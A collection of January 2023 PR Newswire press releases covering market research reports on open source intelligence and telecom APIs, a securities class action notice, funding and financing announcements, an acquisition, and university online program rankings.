Additionally, the growing employment of artificial intelligence (AI) in the military and defense sector is offering a positive market outlook.

Competitive Landscape:



The competitive landscape of the industry has also been examined along with the profiles of the key players being Cellebrite (Sun Corporation), Dassault Systemes, Expert.AI, Hensoldt AG, Hyland Software Inc., IPS S.p.A., Maltego Technologies GmbH, OffSec Services Limited, Palantir Technologies Inc., Recorded Future Inc. and Thales Group.



Key Questions Answered in This Report:

How has the global open source intelligence market performed so far and how will it perform in the coming years?

What has been the impact of COVID-19 on the global open source intelligence market?

What are the key regional markets?

What is the breakup of the market based on the source type?

What is the breakup of the market based on the technique?

What is the breakup of the market based on the end user?

What are the various stages in the value chain of the industry?

What are the key driving factors and challenges in the industry?

What is the structure of the global open source intelligence market and who are the key players?

What is the degree of competition in the industry?

Key Topics Covered:



1 Preface



2 Scope and Methodology

3 Executive Summary



4 Introduction

4.1 Overview

4.2 Key Industry Trends



5 Global Open Source Intelligence Market

5.1 Market Overview

5.2 Market Performance

5.3 Impact of COVID-19

5.4 Market Forecast



6 Market Breakup by Source Type

6.1 Media

6.1.1 Market Trends

6.1.2 Market Forecast

6.2 Internet

6.2.1 Market Trends

6.2.2 Market Forecast

6.3 Public and Government Data

6.3.1 Market Trends

6.3.2 Market Forecast

6.4 Professional and Academic Publications

6.4.1 Market Trends

6.4.2 Market Forecast

6.5 Commercial

6.5.1 Market Trends

6.5.2 Market Forecast

6.6 Others

6.6.1 Market Trends

6.6.2 Market Forecast



7 Market Breakup by Technique

7.1 Text Analytics

7.1.1 Market Trends

7.1.2 Market Forecast

7.2 Video Analytics

7.2.1 Market Trends

7.2.2 Market Forecast

7.3 Social Media Analytics

7.3.1 Market Trends

7.3.2 Market Forecast

7.4 Geospatial Analytics

7.4.1 Market Trends

7.4.2 Market Forecast

7.5 Security Analytics

7.5.1 Market Trends

7.5.2 Market Forecast

7.6 Others

7.6.1 Market Trends

7.6.2 Market Forecast



8 Market Breakup by End User

8.1 Government Intelligence Agencies

8.1.1 Market Trends

8.1.2 Market Forecast

8.2 Military and Defense Intelligence Agencies

8.2.1 Market Trends

8.2.2 Market Forecast

8.3 Cyber Security Organizations

8.3.1 Market Trends

8.3.2 Market Forecast

8.4 Law Enforcement Agencies

8.4.1 Market Trends

8.4.2 Market Forecast

8.5 Private Specialized Business

8.5.1 Market Trends

8.5.2 Market Forecast

8.6 Financial Services

8.6.1 Market Trends

8.6.2 Market Forecast

8.7 Others

8.7.1 Market Trends

8.7.2 Market Forecast



9 Market Breakup by Region



10 SWOT Analysis

11 Value Chain Analysis



12 Porters Five Forces Analysis



13 Price Analysis



14 Competitive Landscape

14.1 Market Structure

14.2 Key Players

14.3 Profiles of Key Players

14.3.1 Cellebrite (Sun Corporation)

14.3.1.1 Company Overview

14.3.1.2 Product Portfolio

14.3.2 Dassault Systemes

14.3.2.1 Company Overview

14.3.2.2 Product Portfolio

14.3.2.3 Financials

14.3.2.4 SWOT Analysis

14.3.3 Expert.AI

14.3.3.1 Company Overview

14.3.3.2 Product Portfolio

14.3.3.3 Financials

14.3.4 Hensoldt AG

14.3.4.1 Company Overview

14.3.4.2 Product Portfolio

14.3.4.3 Financials

14.3.5 Hyland Software Inc.

14.3.5.1 Company Overview

14.3.5.2 Product Portfolio

14.3.6 IPS S.p.A.

14.3.6.1 Company Overview

14.3.6.2 Product Portfolio

14.3.7 Maltego Technologies GmbH

14.3.7.1 Company Overview

14.3.7.2 Product Portfolio

14.3.8 OffSec Services Limited

14.3.8.1 Company Overview

14.3.8.2 Product Portfolio

14.3.9 Palantir Technologies Inc.

14.3.9.1 Company Overview

14.3.9.2 Product Portfolio

14.3.9.3 Financials

14.3.10 Recorded Future Inc.

14.3.10.1 Company Overview

14.3.10.2 Product Portfolio

14.3.11 Thales Group

14.3.11.1 Company Overview

14.3.11.2 Product Portfolio

14.3.11.3 Financials

14.3.11.4 SWOT Analysis



For more information about this report visit https://www.researchandmarkets.com/r/1dwb2g

Media Contact:

Research and Markets

Laura Wood, Senior Manager

[email protected]

For E.S.T Office Hours Call +1-917-300-0470

For U.S./CAN Toll Free Call +1-800-526-8630

For GMT Office Hours Call +353-1-416-8900

U.S. Fax: 646-607-1904

Fax (outside U.S.): +353-1-481-1716

Logo: https://mma.prnewswire.com/media/539438/Research_and_Markets_Logo.jpg

SOURCE Research and Markets
DUBLIN, Jan. 24, 2023 /PRNewswire/ -- The "Telecom API Market by Technologies, Application and Service Types, Stakeholders, User Types, Deployment, and Platform as a Service Types 2022 - 2027" report has been added to ResearchAndMarkets.com's offering.



This report provides an in-depth assessment of the global and regional telecom API market, including business models, value chain analysis, operator strategies and a quantitative assessment of the industry from 2022 to 2027.

Global Communication Service Providers (CSP) continue to see Telecom APIs as a means of leveraging their network and subscriber assets to generate revenues with high margins. However, the ecosystem remains one in which largely third parties, such as OTT players, maintain the end-user relationship with app and service clients, while CSPs merely provide data as a service on a B2B basis.

While this model may suffice for CSPs with respect to the consumer segment and SMBs, it is not sustainable for large corporate clients. CSPs are facing increasing pressure to provide a greater variety of high-quality enterprise communications and business collaboration solutions. Accordingly, the author sees this as an area ripe for leveraging Telecom APIs to offer value-added carrier offerings such as team collaboration, telepresence, and unified communications (UC) as part of a Telecom API-enabled marketplace.

This vision is beginning to come true. With the help of leading Telecom API and Communications-enabled app providers like Ribbon Communications, AT&T has recently launched an API Marketplace, which is something that the author has recommended since 2011. Offering a turn-key approach by leveraging solutions such as Ribbon's Kandy APIs and Wrappers, AT&T plans to facilitate enterprise customer ability to leverage telecom assets for embedded applications. Ribbon is also supporting KPN's Telecom API marketplace.

Other leading telecom vendors such as Mavenir support the programmable telecom (Telecom APIs, platforms, and apps) ecosystem. The company recently announced its Mobile-Native Unified Communications and Collaboration as a Service (mUCaaS) solution. One of the key differentiators claimed by this solution is the ability for business-critical communications to be prioritized by the mobile network using quality of service indicators that don't have to compete with other existing OTT UCaaS applications.

For many larger Telecom API vendors, a substantial proportion of revenue continues to be generated from SIP Trunking in support of their client's VoIP, UC, and other IP-based communications apps and services. However, many smaller players are innovating in areas that have high growth potential such as analytics data, device information, edge computing, and number management for calls, data, and subscribers. The last category, in particular, is emerging as an important area for unwanted call management solutions including robocall management.

Longer-term, we see CSPs leveraging Telecom APIs and related tools to support a variety of industry requirements in which carriers are amply positioned to leverage their market position. Those opportunities include Internet of Things (IoT) authentication, robotics, Artificial Intelligence (AI) platforms, Mobile Edge Computing (MEC), and support of Blockchain. Three areas that represent great opportunities for carriers to aggressively pursue solution development in the near-term timeframe are AI, IoT, and Mobile Edge Computing.

Telecom APIs in IoT

IoT represents a huge and largely untapped market for CSPs, which the author sees emerging once carriers begin to fully leverage 5G for IoT apps and services. More specifically, we have identified the opportunity for carriers to act as an orchestrator/mediators within the IoT ecosystem. Uniquely positioned as the owner of the primary network to be used for IoT, and provider of data services for humans and machines alike, CSPs have the opportunity to provide various critical services such as IoT authentication, authorization, and accounting. This will include the use of Telecom API resources to help manage IoT-related access control, permissions, and usage tracking.

Telecom APIs in Mobile Edge Computing

Carriers are also well positioned to leverage Telecom API-enabled capabilities in support of many edge computing use cases as MEC is rolled-out to optimize LTE, 5G, and IoT. Many MEC use cases will require support from multiple Telecom API categories such as Location, Presence, Subscriber Data, and QoS in support of zone-based enterprise apps, services, and data analytics. This will create both a challenge and opportunity for CSPs, which will need the assistance of systems integrators for implementation and managed infrastructure services providers for ongoing operations.

Telecom APIs in Artificial Intelligence

While many AI capabilities will be embedded within other areas (such as platforms, devices, semiconductors, etc.), AI will also be closely associated with end-users, creating an opportunity for CSPs to provide resource support for many AI-enabled use cases. This will include basic support for AI, such as user verification, as well as more advanced functionality, such as identifying resource usage and behaviors among a closed user group like enterprise collaboration teams.

Furthermore, the report evaluates the current state of the market and outlook for the future including analysis and forecasts for the telecom API market, which is segmented in many ways including:

Globally, Regionally, and Countries

Stakeholder Type (Carriers and Vendors)

Network Technology (2G, 3G, LTE, and 5G)

API Category (Presence, Location, SCM, etc.)

App Developer (Carrier, Enterprise, Long Tail , and Partner)

, and Partner) Deployment Type (Enterprise Hosted, Private Cloud, and Public Cloud)

Implementation (Development and Set-up) and Ongoing Operations

Solution (AI, Analytics, Blockchain, Edge Computing, Robotics, WebRTC, etc.)

Report Findings:

Global Telecom API-related revenue will reach $739B by 2027

by 2027 Global UCaaS revenue will reach $102B by 2027 with 49.2% CAGR

by 2027 with 49.2% CAGR Enterprise-hosted deployment is growing most rapidly through 2027

While the smallest in revenue, MEA is fastest-growing region at CAGR 43.8.2%

Companies Mentioned

Amdocs

Apidaze (VoIP Innovations)

Apifonica

Aspect Software

Bandwidth

BICS

CA Technologies

Cisco

CLX Communications

Ericsson

Fortumo

Google

hSenid Mobile

Huawei

Hubtel

LocationSmart

Mashape

MessageBird

Mulesoft

Nokia Networks

Oracle

Persistent Systems

Ribbon Communications

Syniverse

TeleStax

Telnyx

Twilio

Tyntec

Vidyo

Vonage

Key Topics Covered:

1.0 Executive Summary

2.0 Introduction

2.1 About the Report

2.2 Programmable Telecom

2.3 State of the Industry

3.0 Telecom API Overview

3.1 Role and Importance of Telecom APIs

3.2 Business Drivers for CSPs to Leverage APIs

3.3 Telecom API Categories

3.4 Telecom API Business Models

3.5 Enterprise Market Segmentation

3.6 Competitive Issues

3.7 Applications that use APIs

3.8 Telecom API Revenue Potential

3.9 Telecom API Usage by Industry Segment

3.10 Telecom API Value Chain

3.11 API Transaction Cost by Type

3.12 Volume of API Transactions

4.0 API Aggregation Marketplace

4.1 Role of API Aggregators

4.2 Total Cost of Operation with API Aggregators

4.3 Aggregator API Usage by Category

5.0 Telecom API Marketplace

5.1 Data as a Service

5.2 API Marketplace Companies

5.3 Telecom API Ecosystem Vendors

5.4 Telecom Application Development Market

6.0 Telecom API App Enablers

6.1 Monetization of Communications-enabled Apps

6.2 Telecom App Development Issues

7.0 Communication Service Provider Telecom API Strategies

7.1 Carrier Market Strategy and Positioning

7.2 Select Network Operator API Programs

7.3 Carrier Focus on Internal Telecom API Usage

7.4 Carriers and OTT Service Providers

7.5 Carriers and Value-added Services

8.0 API-Enabled App Developer Strategies

8.1 Telecom APIs as a Critical Developer Asset

8.2 Judicious Choice of API Releases

8.3 Working alongside Carrier Programs

8.4 Developer Preferences: OTT Service Providers vs Carriers

9.0 Telecom API Vendor Strategies

9.1 General Strategies

9.2 Specific Strategies

10.0 Global Markets for Telecom APIs

10.1 Telecom API Market by Category

10.2 Telecom API Market by Service Type

10.3 Telecom API Market by User Type

10.4 Telecom API Market by Network Technology

10.5 Telecom API Market by Deployment

10.6 Telecom APIs Market by Platform as a Service

10.7 Telecom API Market by Module

10.8 Telecom API Market by Stakeholders

10.9 Telecom API Market by Region

11.0 North American Markets for Telecom APIs

12.0 Latin American Markets for Telecom APIs

13.0 European Markets for Telecom APIs

14.0 APAC Markets for Telecom APIs

15.0 MEA Markets for Telecom APIs

16.0 Telecom API Success Stories

16.1 Patronus

16.2 RumbleUP

16.3 Rently

16.4 Phone.com

16.5 VOIPo

17.0 Technology and Market Drivers for Future API Market Growth

17.1 Service Oriented Architecture

17.2 Software Defined Networks

17.3 Virtualization

17.4 Internet of Things

17.5 Bringing it all Together for a Bright Telecom API Future

17.6 IoT WANs and Telecom APIs

18.0 Conclusions and Recommendations

19.0 Appendix

19.1 Telecom API Definitions

19.2 More on Telecom APIs and DaaS

19.3 Monetizing IoT APIs

For more information about this report visit https://www.researchandmarkets.com/r/ads755

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NEW YORK, Jan. 24, 2023 /PRNewswire/ -- The Klein Law Firm announces that a class action complaint has been filed on behalf of shareholders of Gaotu Techedu Inc. F/K/A Gsx Techedu Inc. (NYSE: GOTU) alleging that the Company violated federal securities laws.

This lawsuit is on behalf of persons or entities who purchased or otherwise acquired publicly traded Gaotu American depository shares between March 5, 2021 and July 23, 2021, inclusive.

Lead Plaintiff Deadline: February 28, 2023

No obligation or cost to you.

Learn more about your recoverable losses in GOTU:

https://www.kleinstocklaw.com/pslra-1/gaotu-class-action-submission-form?id=35844&from=4

Gaotu Techedu Inc. F/K/A Gsx Techedu Inc. NEWS - GOTU NEWS

CLASS ACTION CASE DETAILS: The filed complaint alleges that Gaotu Techedu Inc. F/K/A Gsx Techedu Inc. made materially false and/or misleading statements and/or failed to disclose that: (1) China was barring tutoring for profit in core school subjects, and this policy change would restrict foreign investment in a sector that had become essential to success in Chinese school exams; and (2) the impact such regulations would have on Gaotu's operations and profitability and the value of Company securities.

WHAT THIS MEANS TO YOU AS A SHAREHOLDER: If you have suffered a loss in Gaotu you have until February 28, 2023 to petition the court for lead plaintiff status. Your ability to share in any recovery doesn't require that you serve as a lead plaintiff.

NO COST TO YOU: If you purchased Gaotu securities during the relevant period, you may be entitled to compensation without payment of any out-of-pocket fees.

HOW TO PROTECT YOUR FINANCIAL INTERESTS: For additional information about the GOTU lawsuit, please contact J. Klein, Esq. by telephone at 212-616-4899 or click this link: https://www.kleinstocklaw.com/pslra-1/gaotu-class-action-submission-form?id=35844&from=4.

ABOUT KLEIN LAW FIRM

J. Klein, Esq. represents investors and participates in securities litigations involving financial fraud throughout the nation. The Klein Law Firm is a boutique litigation firm with experience in a wide range of areas including securities law, corporate finance and commercial litigation. Since 2011, our experienced attorneys have achieved superior results for our clients with a personalized focus. Attorney advertising. Prior results do not guarantee similar outcomes.

CONTACT:

J. Klein, Esq.

535 Fifth Avenue

4th Floor

New York City, NY 10017

[email protected]

Telephone: (212) 616-4899

www.kleinstocklaw.com

SOURCE The Klein Law Firm
Biotech Startup's Platform Greens Protein Manufacturing Transforming a Cornfield into the Factory of the Future.

JONESBORO, Ark., Jan. 24, 2023 /PRNewswire/ -- GreenLab, Inc. announces closing a $5,268,944.44 seed funding round. The group of investors from Northeast Arkansas represents a cross section of the agricultural industry who understand the critical role of sustainability and value of optimizing proteins. The biotech startup's proprietary platform is the literal greening of industry within a kernel of corn- multiplied exponentially across acres of cornfields.

"GreenLab's seed round is led by investors who understand real sustainability from their experience in agriculture as farmers, agronomists and land, ag insurance and seed business owners," stated Kelly Phipps, current COO and Chairman of the Board of Directors of GreenLab. He helped organize and participated in the round.

GreenLab's seed round is led by investors who understand real sustainability and value of optimizing proteins. Tweet this

"The quality and insight of our seed round investors is a powerful testament to the transformational value GreenLab's platform delivers for the sustainable, unlimited scalability of novel proteins," stated Jim Hedges, CEO of GreenLab. "This successful seed round follows years of dedicated research proving the science driving GreenLab's protein optimized production platform. Our team of scientists is led by Dr. John Howard, Chief Science Officer and Dr. Elizabeth Hood, Founder and Director of R&D."

About GreenLab

GreenLab's mission is to green industry with next-generation plant biotechnology. Our platform transforms a cornfield into the factory of the future. We deliver on biotech's promise of next-generation proteins, end-to-end sustainability and unlimited scalability. GreenLab currently has four patented enzymes growing in corn- already in commercial production and is seeking partners to explore our proprietary portfolio for direct sales, partner in production or to expand the capacity of other protein manufacturers.

Contact: James O'Brien (314) 669-5510 [email protected]

SOURCE GreenLab
NEW YORK, Jan. 24, 2023 /PRNewswire/ -- TransPerfect, the world's largest provider of language and technology solutions for global business, today announced a major contract renewal for Guaranteed Rate. Building off Guaranteed Rate's September 2022 launch leveraging TransPerfect's GlobalLink platform, this collaboration will support Guaranteed Rate's multi-channel communications campaign for Spanish-speaking consumers in the US.

Guaranteed Rate specializes in providing easy, transferable, and affordable mortgage loans through a system that aims to simplify home buying. Increasing accessibility through an exceptional Spanish-language process is a top priority for Guaranteed Rate. With Spanish-speaking agents as well as Spanish educational materials, transaction documentation, corporate websites, and customer support services, Guaranteed Rate is one of the first mortgage organizations to provide an end-to-end experience in Spanish.

Guaranteed Rate chose TransPerfect and its GlobalLink technology to support the creation and launch of its customer-facing content, including marketing and supporting materials, with minimal assistance needed from IT and project management teams. The simplicity of the launch and maintenance has resulted in significant cost and time savings for Guaranteed Rate.

GlobalLink is a cloud-based, intuitive platform designed to manage the complex demands of creating, deploying, and maintaining multilingual content, drastically reducing the time and effort required throughout the localization process.

"When members of the Latino community come to us, we are keenly aware that they are seeking more than just a house. The well-being of their families, their hopes and aspirations, and the future they plan to build for themselvesit's all rolled into one," remarked Arlyn Kalinski, Vice President of LEP Compliance for Guaranteed Rate. "That's why our mortgage process, tools, and services are groundbreaking. For Guaranteed Rate, it's about equal access. It's about educating and empowering the consumer so that they are able to reach the dream of homeownership."

TransPerfect President and CEO Phil Shawe commented, "Buying a home is a significant personal milestone that many aspire to reach. We appreciate Guaranteed Rate's commitment to Spanish-speaking consumers and are grateful that we're able to continue assisting in their efforts."

About Guaranteed Rate

Guaranteed Rate Companies is a leader in mortgage lending and digital financial services. Headquartered in Chicago, the Guaranteed Rate Companies have more than 8,000 employees in over 850 branches across the U.S., serving all 50 states and Washington, D.C. Since its launch in 2000, Guaranteed Rate Companies have helped more than 1 million homeowners with home purchase loans and refinances, with a total loan volume of more than $116 billion in 2021 alone. The company has cemented itself as an industry leader by introducing innovative technology, offering low rates and delivering unparalleled customer service. Honors and awards include: Top Lender for Online Service for 2018 by U.S. News & World Report; Best Mortgage Lender for Online Loans and Best Mortgage Lender for Refinancing by NerdWallet for 2021; HousingWire's 2020 Tech100 award for the company's industry-leading FlashClose technology; No. 3 ranking in Scotsman Guide's 2021 list of Top Retail Mortgage Lenders; Chicago Agent Magazine's Lender of the Year for six consecutive years; and Chicago Tribune's Top Workplaces list for seven consecutive years. Visit rate.com for more information.

About TransPerfect

TransPerfect is the world's largest provider of language and technology solutions for global business. From offices in over 100 cities on six continents, TransPerfect offers a full range of services in 200+ languages to clients worldwide. More than 6,000 global organizations employ TransPerfect's GlobalLink technology to simplify management of multilingual content. With an unparalleled commitment to quality and client service, TransPerfect is fully ISO 9001 and ISO 17100 certified. TransPerfect has global headquarters in New York, with regional headquarters in London and Hong Kong. For more information, please visit our website at www.transperfect.com.

SOURCE TransPerfect
KNOXVILLE, Tenn., Jan. 24, 2023 /PRNewswire/ -- The University of Tennessee, Knoxville's Haslam College of Business premiered at No. 4 overall and No. 2 among publics in the U.S. News Best Online Graduate Business Programs ranking released today. Among student veterans, Haslam is ranked No. 2 overall and No. 1 among U.S. public universities. This ranking was based on data from the MS in Supply Chain Management Online and marks the first time Haslam was eligible to be included in the ranking.

Among student veterans, Haslam's MS in Supply Chain Management Online ranked No. 1 among U.S. public universities. Tweet this The University of Tennessee, Knoxville's Haslam College of Business premiered at No. 4 overall and No. 2 among publics in the 2023 U.S. News Best Online Graduate Business Programs ranking.

Shay Scott, executive director of the Global Supply Chain Institute, said the program's performance in the rankings reflects the painstaking work, including gathering input on program design from senior industry leaders, that went into designing the program and the vision and innovation of the faculty teaching in it.

"It takes a team behind the scenes working with our top faculty to pull together a seamless online experience for our accomplished master's students," Scott said. "This ranking is a direct reflection of that effort, which will ensure the program's continuing relevance and impact."

Stephen L. Mangum, dean of the college and Stokely Foundation Leadership Chair at Haslam, said the college's performance in the ranking underscores Haslam's dedication to bringing instruction to students, wherever they are located, using the most current tools and thinking available.

"Haslam is already expanding its online offerings with a just-launched online MBA program and additional offerings in the works," Mangum said. "This ranking indicates that our efforts to meet students' learning needs now and in the future are well received."

The online program rankings were based on surveys sent to 224 schools. U.S. News assessed the schools in the ranking based on a variety of objective factors, such as student engagement, faculty credentials and services and technologies. The veterans category was reserved for schools that finished in the top half of the best online program rankings, that are certified for the G.I. bill and the Yellow Ribbon Program and that met a threshold of student veterans enrolled in the program.

About the Haslam College of Business

At the master's level, Haslam offers the following programs: the Haslam (full-time) MBA, Online MBA, Professional MBA, Executive MBA (Global Supply Chain, Healthcare Leadership, Strategic Leadership), Aerospace & Defense MBA, Physician Executive MBA, Master of Accountancy, Master of Management and Human Resources, Master of Business Analytics, Master of Statistics, Master of Supply Chain Management Tri-Continent, and Master of Supply Chain Management Online. Doctorate program areas include accounting, business analytics & statistics, economics, finance, marketing, strategy, entrepreneurship and organizations and supply chain management. Haslam's graduate supply chain programs are ranked No. 1 in North America by Gartner.

Haslam's graduate and executive programs address real-world challenges through an interdisciplinary approach that supports development of analytical and leadership skills. Its faculty are industry thought leaders, seasoned practitioners and accomplished researchers who ensure the learning experience applies directly to each participant's current or future career. Learn more about Haslam's graduate and executive education programs.

SOURCE University of Tennessee, Knoxville's Haslam College of Business
Innovative financing supports advancement of Hecate's ~35 GW

U.S. renewables pipeline and targeted monetization of ~5 GW per year

CHICAGO, Jan. 24, 2023 /PRNewswire/ -- Hecate Energy, a leading developer of renewable power projects and energy storage solutions in the United States, today announced the recent close of a five-year $550 million credit facility package, inclusive of a $250 million term loan and $300 million Letter of Credit ("LC") facility to support further expansion of its solar and energy storage project pipeline. The new credit facilities will be collateralized by Hecate Energy's ~35 GW pipeline of renewables development projects, along with its minority ownership interests in Hecate Grid.

PEI Global Partners served as Hecate's exclusive financial advisor on this innovative and first of its kind financing and Winston & Strawn acted as borrower's counsel. Investec Inc., and Nomura Securities International led the financing and along with National Bank of Canada, and Deutsche Bank served as initial Coordinating Lead Arrangers and Syndication Agents, with Generate Capital acting as a Coordinating Lead Arranger and Documentation Agent for the transaction. Ten lenders participated in the primary syndication and Norton Rose Fulbright acted as lenders' counsel.

An acknowledgment of Hecate's scale and success as a pure play renewables development company in North America, this groundbreaking development credit facility in the commercial bank market was collateralized by its renewables development projects and without a guarantee or other credit support. The proceeds from the term loan refinanced an existing loan facility, at a meaningfully lower cost to Hecate, and the LC facility enables Hecate to issue numerous grid interconnection and PPA LCs enabling it to achieve sales of 5 GW or more annually.

"Support from these leading international financial institutions validates Hecate's approach to renewables development and will accelerate our drive to deploy significantly more efficient, and cost-effective renewable energy and storage solutions across the United States," said Chris Bullinger, CEO of Hecate Energy. "We are deeply appreciative of our banking partners who share our vision of a sustainable clean energy future."

"Investec is delighted to have closed this successful financing for Hecate," said Fred Petit, Co-Head of Investec's North American Power & Infrastructure Coverage. "We worked with the company to identify a syndicate of lenders that could deliver on a well-structured transaction to support one of the largest pipelines of solar and energy storage assets in the U.S. This financing demonstrates Investec's continued commitment to the energy transition sector, our strong distribution capabilities, and ability to meet our clients' objectives.

Vinod Mukani, Global Head of Nomura's Infrastructure and Power Business ("IPB"), commented, "We are leveraging our global financial and intellectual capital to provide funding and tailored financing solutions to companies like Hecate Energy, who are helping to fuel the energy transition, and this a core focus for Nomura. Executing on this transaction is particularly exciting as Hecate Energy retains an experienced and talented team and an attractive business strategy which we are happy to support."

"Nomura is very excited to provide liquidity to support Hecate's renewable energy pipeline in the US. Hecate is a leading independent developer and we are extremely pleased to support them with creative financing solutions to support their business and goals," said Alain Halimi, an Executive Director of Nomura's IPB.

About Hecate Energy

Headquartered in Chicago, Hecate Energy is a top-ten developer of solar and wind generation facilities and energy storage solutions in North America. Founded in 2012 by a team of energy industry veterans with 20 years of collaboration, Hecate Energy is one of the largest stand-alone renewable energy developers in the United States today. Currently, the company has a pipeline of over 35 GW, with over 125 projects across 10 power markets in North America. Over the last eight years, Hecate Energy has executed more than 36 power project transactions, totaling more than 6,500 MW of capacity.

About PEI

PEI Global Partners Holdings LLC ("PEI") is an independent, closely held investment bank specializing in the power, energy and infrastructure sectors, with offices in New York City and Tampa. PEI advises financial sponsors, developers and corporate clients on mergers and acquisitions, divestitures, financings, private placements and other strategic transactions. In 2022, PEI closed twelve transactions and raised over $4 billion for owners and developers of renewable and thermal power. PEI conducts securities transactions through its wholly-owned broker-dealer subsidiary PEI Global Partners LLC, which is regulated by the Financial Industry Regulatory Authority ("FINRA"), the Securities and Exchange Commission ("SEC"), the New York State Department of Financial Services and the Florida Office of Financial Regulation. For more information on PEI, please visit www.peigp.com.

About Investec

Investec Power and Infrastructure Finance is part of a strong global franchise, with teams across the US, UK, Europe, South Africa and India. Investec partners with private, institutional, and corporate clients, offering international banking, investments, and wealth management services in two principal markets, South Africa, and the UK, as well as certain other countries. The Group was established in 1974 and currently has 8,300+ employees. Investec has a dual listed company structure with primary listings on the London and Johannesburg Stock Exchanges.

About Nomura

Nomura is a global financial services group with an integrated network spanning over 30 countries and regions. By connecting markets East & West, Nomura services the needs of individuals, institutions, corporates and governments through its three business divisions: Retail, Investment Management, and Wholesale (Global Markets and Investment Banking). Founded in 1925, the firm is built on a tradition of disciplined entrepreneurship, serving clients with creative solutions and considered thought leadership. For further information about Nomura, visit www.nomura.com.

Media Contacts:

Hecate Energy

Steven C. Sullivan

[email protected]

SOURCE Hecate Energy
Industry leader Rich Lyons also joins Hero Digital as an advisor to the expanded commerce capabilities

NEW YORK, Jan. 24, 2023 /PRNewswire/ -- Hero Digital, a leading customer experience transformation company, today announced its acquisition of Omnichannel Commerce, a digital consultancy focused on delivering cross-cloud solutions in e-commerce, order, and subscription management for fast-growth and enterprise brands.

The addition of Omnichannel Commerce will accelerate Hero Digital's existing commerce expertise while deepening its strategy capabilities and strengthening its ability to deliver commerce systems that are powered by Salesforce.com and our other commerce partner platforms. In addition, to double down on the company's expansion of its end-to-end digital commerce service, Hero Digital is also announcing the appointment of industry veteran Rich Lyons, former founder of Lyons Consulting Group and VP, Digital Commerce Experience Leader for North America for Capgemini, as a senior advisor to this new Commerce division.

"This addition of Omnichannel Commerce to our team, as well as the new leadership of commerce industry veteran Rich Lyons, is great for our clients who are looking to accelerate their commerce programs. These announcements will deepen our ability to deliver commerce systems powered by Salesforce and other partner platforms," said Jay Dettling, CEO of Hero Digital. "In today's growing subscription economy, bringing Hero and Omnichannel Commerce together creates a company that is purpose-built to deliver digital solutions across e-commerce and broader digital experiences with a unique blend of capabilities in strategy, creativity, technology, data, and marketing that can benefit both Hero and Omnichannel Commerce's existing clients immediately. We look forward to the endless possibilities and new opportunities to create the best possible solutions for our combined customer base."

The Omnichannel team, led by industry veteran Jon Kubo, brings extensive commerce expertise through their track record of accelerating outcomes for brands, including MGM, Billabong and Boot Barn. Additionally, its mature relationship with Salesforce and strong capabilities in Commerce Cloud, Service Cloud, and Order Management are complementary to those of Hero Digital. This acquisition puts Hero Digital in a unique position to serve the needs of commerce clients across the lifecycle of invention, transformation, and performance.

"We are excited to join Hero and bring our talented individuals from Omnichannel Commerce to broaden Hero's strategic capabilities to meet the ever-changing needs of customers in today's landscape," said Jon Kubo, CEO of Omnichannel Commerce. "Bringing together Hero Digital's obsession with customer truth, digital strategy, and award-winning creative capabilities with Omnichannel Commerce's technical expertise in Salesforce Commerce and order management system implementations is a game changer for brands that want to maximize their digital business potential."

"Joining Hero Digital is a new chapter for Omnichannel Commerce and the result of our entire team's relentless dedication and hard work," said Pouya Nafisi, Founder of Omnichannel Commerce. "A 'relationship first' culture at Omnichannel Commerce of how we value our team and our clients are perfectly aligned with that at Hero Digital."

These announcements further fuel the growth Hero Digital expects in the coming year. The company also recently announced Jay Dettling's appointment as CEO , with more plans to expand and serve the larger experience, commerce, and digital transformation needs of its clients.

For more information on Hero Digital visit www.herodigital.com .

About Hero Digital

Hero Digital is a leading independent digital customer experience company leveraging strategy, design, technology, marketing, and data, to solve the critical digital transformation needs of the Fortune 1000. Hero Digital's purpose is to bring moments of Truth & Beauty into people's lives by creating customer experiences that are good for people and good for business. Hero Digital's blended teams help companies like Comcast, U.S. Bank, Salesforce, Twitter, UnitedHealthcare, and TD Ameritrade Institutional invent, transform, and perform to deliver new business value.

Media Contact:

Richie Roesner

[email protected]

SOURCE Hero Digital
Herzing University earned honors for outstanding online MBA and Nursing graduate degree programs and its continuing support of veterans

MILWAUKEE, Jan. 24, 2023 /PRNewswire/ -- U.S. News & World Report has again ranked Herzing University's online learning programs among the best in the nation, now for the eleventh consecutive year.

Herzing, an accredited, private nonprofit institution, was recognized by U.S. News & World Report's 2023 Best Online Program Rankings for its online Bachelor's program, online MBA program, and online Master's program for nursing. Both Herzing's Bachelor's and Master's programs were also recognized as top online degree programs for veterans.

This honor is awarded to exemplary higher education programs that are deemed affordable, accessible, and reputable for students with military experience. A two-time recipient of the Military Friendly School designation by VIQTORY, publisher of G.I. Jobs and Military Spouse, Herzing has demonstrated a longstanding dedication to supporting veterans in their educational journeys and helping them reach their long-term goals.

"Herzing was built on a commitment to support students of all backgrounds, including adult learners, individuals looking to change careers, and our nation's dedicated servicepeople," said Jeff Cross, Online President for Herzing University. "We are so proud to again receive this honor by U.S. News & World Report and we share the publication's belief that online learning is an integral part of higher education. We will continue to provide students across the country with the tools and experience necessary to succeed in a format that complements their lifestyle and advances them to their career of choice."

Designed for individuals looking to complete or further their education, this year's edition evaluates more than 1,800 online bachelor's and master's degree programs.

The Best Online Programs include rankings of bachelor's programs as well as the following master's-level disciplines: MBA, business (non-MBA), computer information technology (including computer science), criminal justice/criminology, education, engineering, and nursing. While the methodologies are different for each discipline, they all incorporate metrics specific to online learning. The rankings only include degree-granting programs that are offered primarily online by regionally accredited institutions.

For more information on the rankings, visit www.usnews.com.

About Herzing University

Herzing University is an accredited, private nonprofit institution with 11 campuses across eight states and an online division. Founded in 1965 and headquartered in the heart of Milwaukee, more than 40,000 students have graduated from the University's career-focused and flexible master's, bachelor's, and associate degree, and diploma programs. Fields of study include nursing and a first-of-its-kind Doctor of Nursing Practice (DNP) program through Herzing's School of Nursing, as well as programs across healthcare, technology, business, and public safety. Since 2013, U.S. News & World Report has recognized Herzing University annually for having some of the nation's top online programs. Herzing University is accredited by the Higher Learning Commission. More information about Herzing University is available at www.herzing.edu.

About U.S. News & World Report

U.S. News & World Report is the global leader in quality rankings that empower consumers, business leaders and policy officials to make better, more informed decisions about important issues affecting their lives and communities. A multifaceted digital media company with Education, Health, Money, Travel, Cars, News, Real Estate and 360 Reviews platforms, U.S. News provides rankings, independent reporting, data journalism, consumer advice and U.S. News Live events. More than 40 million people visit USNews.com each month for research and guidance. Founded in 1933, U.S. News is headquartered in Washington, D.C.

Contact:

Brett Gerrish

312-661-1050

[email protected]

SOURCE Herzing University
Pay as little as $0 for your prescriptions

